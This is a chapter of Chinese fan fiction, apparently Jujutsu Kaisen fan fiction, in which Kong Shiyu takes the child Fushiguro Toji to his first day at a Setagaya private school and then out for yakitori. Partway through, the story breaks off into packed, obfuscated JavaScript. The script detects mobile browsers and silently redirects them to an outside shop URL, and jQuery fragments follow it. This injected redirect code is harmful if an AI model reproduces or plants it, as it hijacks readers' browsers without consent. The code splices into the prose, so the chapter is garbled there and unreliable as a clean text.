私立小学在世田谷，从大田区开过去二十多分钟。
校门口不让停。孔时雨把车撂在隔一条街的地方，两个人往校门走。
早上八点，校门口堵着一片人。送孩子的家长，多半是妈妈，穿得齐整，三三两两站着互相点头。孩子背着一模一样的书包往里头走，到门口跟大人挥挥手。
孔时雨站住，扫了一圈。
这是本能。进一个有人的场子他就扫。
中心，左手边那丛，米色大衣，话最多，这堆的头。
跟随，米色大衣左右两个，偏着头听，时不时附和一声。
落单，靠墙那个，抱着手提袋，眼睛飘，新来的，跟他一样。
出口，门口两条，一条进校，一条通停车场，回头那条街——
停停停，孔时雨掐了。
他在踩一帮送孩子上学的妈妈的点儿。连出口都数清楚了。
阿一西。
甚尔走在他前头半步。这回没东张西望，眼睛在动，但收着，扫一遍那些一样书包一样校服的小孩，扫一遍那几丛妈妈。
跟孔时雨刚才那一眼，是同一种眼神。
孔时雨在后头看着，没说什么。
——
现场的爸爸少些，西装革履，多半把孩子送到门口就走，看一眼表，赶电车去了。
孔时雨穿的也是西装。混在那几个爸爸里头不打眼。
可那几个爸爸知道几点走、往哪边走、要不要回头。他不知道。
他不知道送到这儿是把人交进去就完事，还是得站着看他进去。不知道要不要跟旁边那个妈妈点个头、笑一下。不知道甚尔进了那道门之后，当爹的——监护人——是该挥手，是该喊一声，还是该转身就走。
没人发这场子的规矩。这帮人像是生下来就揣着一份，他没领到。
他想抽烟。兜里那包硌着手。校门口立着块牌子，禁烟，底下围着一圈半人高的小孩。他把手从兜里抽出来，没地方搁，最后抱在胸前，又觉得太凶，放下了。
“新来的同学？”旁边一个妈妈笑眯眯凑过来，“插班来的吧？我家也是这个班的，以后请多多关照——”
“……啊。”他说，“关照。”
那妈妈愣了半秒。笑容没掉，很识趣地点点头，转身跟另一个妈妈搭话去了，热络得跟刚才那半秒没发生过一样。
阿一西。
甚尔站在旁边，背着那只黑书包，把这一出从头看到尾。
他没笑。可孔时雨太认得那点东西了——这家伙在憋着。绿眼睛里那点光，笑的时候才有。
“我进去了。”甚尔说。
替他把这场子收了。
“好。”
甚尔转身，走进那道门。书包压舌上的名字牌随着步子一晃——伏黑甚尔。他汇进那片深蓝色的人流里头，不快不慢，不回头，转眼就分不出哪个是他。
走出几步，又停下。
回过头来，仰着脸。“你可以走了。”
孔时雨：“……”
——
回到家，屋里没人。
玄关鞋柜下头，甚尔那双运动鞋不在了，今天穿走了。就剩他那双皮鞋，孤零零摆着。
屋里很安静。
这一个多月，屋里一直有动静——游戏机电子音，电视，小孩翻东西的声响。这会儿一样没有。
孔时雨随手把电视开了，没看，声音搁那儿响着。
他坐下干自己的活。备用手机、笔记本、几个要回的电话。屋里那台电视自顾自地放着早间综艺，一屋子人笑，他一耳朵没进去。
干到一半，他想起来一件事。
甚尔那间屋子，就一盏白光顶灯，晚上太晃。得买盏台灯，他昨天想着的。
孔时雨抓了车钥匙又出门。
家电量贩店，台灯那一排他站了一会儿。从八百到八千，一长排。最后拿了中间价位那个，带个调亮度的旋钮。
回家装上，搁书桌上，拧了一下旋钮。暖黄光，照在那张空桌面上。
他站着看了两秒，关了。
电视还在响。他出门干活去了。
他有个局，东京这边新搭上的一条线，中午在大井一间没招牌的咖啡馆见个人——递个消息，验一批货，谈个价钱。
坐进去那一刻他松快极了。对面那人话里带钩，一句一个套，他三两句就把钩卸干净了。验货的时候手稳，灯下翻来覆去看一遍就知道真假。价钱压到他要的数，压完对方还得隔着桌子谢他识货。整个过程，每一步该往哪儿落、什么时候该停、什么时候该加一句，他心里都有数。
跟早上校门口那个场子比，活脱脱两个世界。
这个世界他是熟客。
谈完出来，下午两点多。他在街边摸出手机看了眼时间。
放学三点半。
——
下午，孔时雨又站到了那校门口。
还是那堆妈妈。位置换了几个，米色大衣那个还是中心。
这回他知道往哪儿站了——靠边，树底下，不挡道，看得见门。离那块禁烟牌远远的。
米色大衣那拨里有个妈妈早上见过他，这会儿冲他点了下头。孔时雨点回去，点得有点生硬。
学呗。他在心里说。这玩意儿也得学。
铃响过一阵，门里头小孩一窝蜂涌出来，叽叽喳喳，三个一群五个一伙，书包在背上颠。
孩子一波波出来，甚尔在中间靠后。背着书包，挂着手提袋，跟早上来时一个样，没多东西没少东西，制服领口敞了一颗扣子。
他一眼看见孔时雨，从那群小孩里头分出来，直直走过来。
“走吧。”
孔时雨点点头。
上车。车出了校园区域，并进车流。
“怎么样？”孔时雨问。
甚尔看着窗外。
“还行。”
“有人欺负你没？”
甚尔抬眼看了他一下。那眼神像在说，这话问得多余。
“没有。”
是该没有。一整天，没人知道“猴子”是谁，没哪扇门上写着他不能进。他就是个插班来的转校生，叫伏黑甚尔。
孔时雨“嗯”了一声。
——
开了一段，红灯。
“今天上什么了？”孔时雨问。
他自己听见这句从嘴里出来，觉得荒唐。他在问一个八岁小孩今天上了什么课。
“国语。算数。生活。体育。”翻墙越货的八岁小孩报出这一串，也荒唐。
“你坐哪？”
“窗边，倒数第二排。”
“看得见黑板吗？”
“看得见。”
孔时雨盯着前面那串尾灯。他今天问的问题够多了。
绿灯。前面那车没动，后头有人长按一声喇叭。
孔时雨抬脚给油。
——
过了一个高架，转进那条窄街。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606393|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>烧鸟店还是那家。孔时雨推门进去，那股烤鸡油烟味一上来，他肩膀松下来了。
这屋他熟。两个人挤进吧台最里头的角上。
老板隔着烤炉问，要照烧还是盐烤。
孔时雨没替他答。“你挑。”
甚尔看了一眼炉子上那几串烤得滋滋冒油的鸡肉，油滴下去，火苗“腾”地窜一下。
“照烧。”他说。
没卡。孔时雨记得面试那天，这小鬼卡在“最喜欢什么颜色”上。
孔时雨点了烟，吸了一口。脑子里转着刚才车上那个“体育”。
啊，体育课。
他这才想起来。甚尔那具身体——三米墙说翻就翻，扔东西又快又准，跑起来跟坐火箭似的。让这么个家伙混进小学体育课，跟把头小狼搁进兔子窝里没两样。
得交代一句。
头一份上来，鸡腿肉两串。甚尔拿了一串，慢慢嚼。
孔时雨绕着问，像随口：
“体育课……都干什么了。”
“跑步，投球。”
投球。
孔时雨夹烟的手停在半空。
他认识这小鬼，就是因为一掷。头一回在花街那院子里，隔着半个院子，一包火柴扔过来，能扔得人指尖发麻。
他正想说——悠着点，别扔太远，别太冒尖。
甚尔先开了口。语气平淡，不带情绪。
“我看别人扔多远，我就扔多远来着。”他咬下一口肉，“跑也是。”
孔时雨转头。
“没人多看我一眼。”把吃完的签子放好，又补了一句，“放心吧，透明的。”
孔时雨那句没出口的交代，咽回去了。
透明的。跟在京都钻结界时说的一样。
烤架上滋啦一声。
孔时雨把手里那串递过去。甚尔接住。
——
第二份上来，第三份上来。
甚尔吃得专心，腮帮子鼓着，白天的事就着串往外漏一点——谁的橡皮被谁踩了，扫除分到擦窗户，午休得趴在桌上睡。都是些芝麻大的事。
芝麻大的事，他从前没有过。
吃到后头，他话越来越少。
装了一整天“正常小孩”，比翻墙跑酷还累。
——
孔时雨抽烟，看那片烤架。
头一回坐这儿那晚，他脑子里跑着一单的所有节点——进场时间、停留时长、收尾、清洁工、雇主、还剩什么变量。一项一项归档。最后卡在了旁边那个吃烧鸟、说“要我给你土下座不成”的小孩身上。
那回他没把这个变量归档。不知道该归到哪一档。
今天的单子简单，脑子里是空的。没有进场时间，没有变量，没有要归的档。
就剩个低头吃串、把自己藏得一点都不显的小孩。
孔时雨吐了口烟。
到今天他还是没把这个变量归到哪一档去。
“再点。”他说。
甚尔拿过菜单。
从上往下扫了一遍。又从下往上扫了一遍。
那一排名字他早看完了，第一遍就看完了——孔时雨知道这家伙扫东西多快。
可他没急着指。手指搭在菜单上头，没落下去。
慢慢的。像头一回，不用赶。
“这个。”
“还有呢？”
甚尔又看了一会儿。
“这个也行。”
【第一卷完】